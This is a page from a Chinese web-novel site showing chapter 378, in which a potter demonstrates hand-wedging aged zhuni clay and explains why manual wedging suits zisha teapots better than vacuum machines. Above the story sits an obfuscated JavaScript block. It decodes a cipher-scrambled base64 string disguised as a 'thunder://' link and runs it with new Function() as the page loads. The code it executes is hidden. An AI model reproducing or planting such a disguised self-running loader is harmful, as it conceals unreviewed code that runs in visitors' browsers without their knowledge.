当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第378章 练泥(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

当然,唐先海把这么一坨赵庄老朱泥拿出来,并不是要送给徐景行,只是用来做演示而已。

反正只是演示,只要没有入窑烧制,这些朱泥随时都可以揉碎了重新使用。但就算如此,唐先海能把这种上好的泥料拿出来,也真是用心了。

唐先海指着这些泥道:“这是过了陈腐期的泥,一般来说老泥都要重新练一遍才能使用,我先给你演示一下练泥的技巧。”

徐景行连忙点头,他昨天晚上回到酒店查过一些资料,知道泥料一般要经过两次自然陈腐,第一次就是原矿陈腐,等原矿石过了陈腐期以后再粉碎、过筛、浸泡、起缸、练泥这几个过程,这样的紫砂泥就是常说的新泥,可以直接使用。

但讲究点的手艺人,会把新泥封起来进行二次陈腐,陈腐一段时间以后就成了老泥。

老泥刚拿出来并不能直接使用,还要进行二次练打,泥料才最好用。

所谓的练泥,其实跟和面差不多,也有手工练泥和机器练泥两种方式。

手工练泥当然是古老原始且效果最好的选择,只是效率相对较低,不但很费时间,更费体力,跟打铁一样累人,一般紫砂艺人已经不怎么使用手工练泥了。

要知道,手工练泥的原理跟和面差不多,可真做起来,那就是另外一回事儿了,要用沉重的木槌在泥凳上进行反复的捶打、揉挤、压缩,直到泥料中的空气全部被排挤出去,才算合格。

这个过程不光累人,要求还很严格,毕竟是手工捶打,稍有不慎就会在泥料中留下一些细微的气泡,哪怕是一个细小的气泡,也有很大的可能毁掉一把好壶。

至于机器练泥,那就轻松多了,高科技的真空练泥机能在很短的时间里把泥料中的空气完全排挤出去,效率非常高。

而且真空炼泥机练打出来的泥料也有一定的优点,比如说泥料组织更均匀,可塑性和细密度也更好。

但是,这种泥料内部的应力非常强,因为你施加的外力越强,应力也就越强,这么强的应力在高温烧制的过程中释放出来,很容易引发结构的收缩变形,以至于降低成品率。

另外紫砂壶不是瓷器,紫砂器的特点就是结构有气孔,能吸水,能隔温,如果质地太过细密,吸水率和气孔率便会大幅降低,直接影响紫砂器的实用功能,更会让紫砂器那特有的滋润胎质变得干巴巴的。

所以唐先海一直在用手工练泥,此时当然也不例外。

唐先海把泥料割下一大块来放在泥凳上,然后拎着硕大的木槌开始捶打,一边捶打一边翻叠,整个过程看起来枯燥而累人,但唐先海做起来却很投入。而且他一边做,一边讲解,做了一遍之后把大木槌递到徐景行面前,“你来试试。”

徐景行确实有点手痒了,而且他也不觉得这有什么难度,看起来非常简单,就是一直挥舞木槌可能会有点累,可他最不缺的就是力气。

因此兴致盎然的拿过木槌转到泥凳前边,单手窝捶砸下去。

“噗——”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间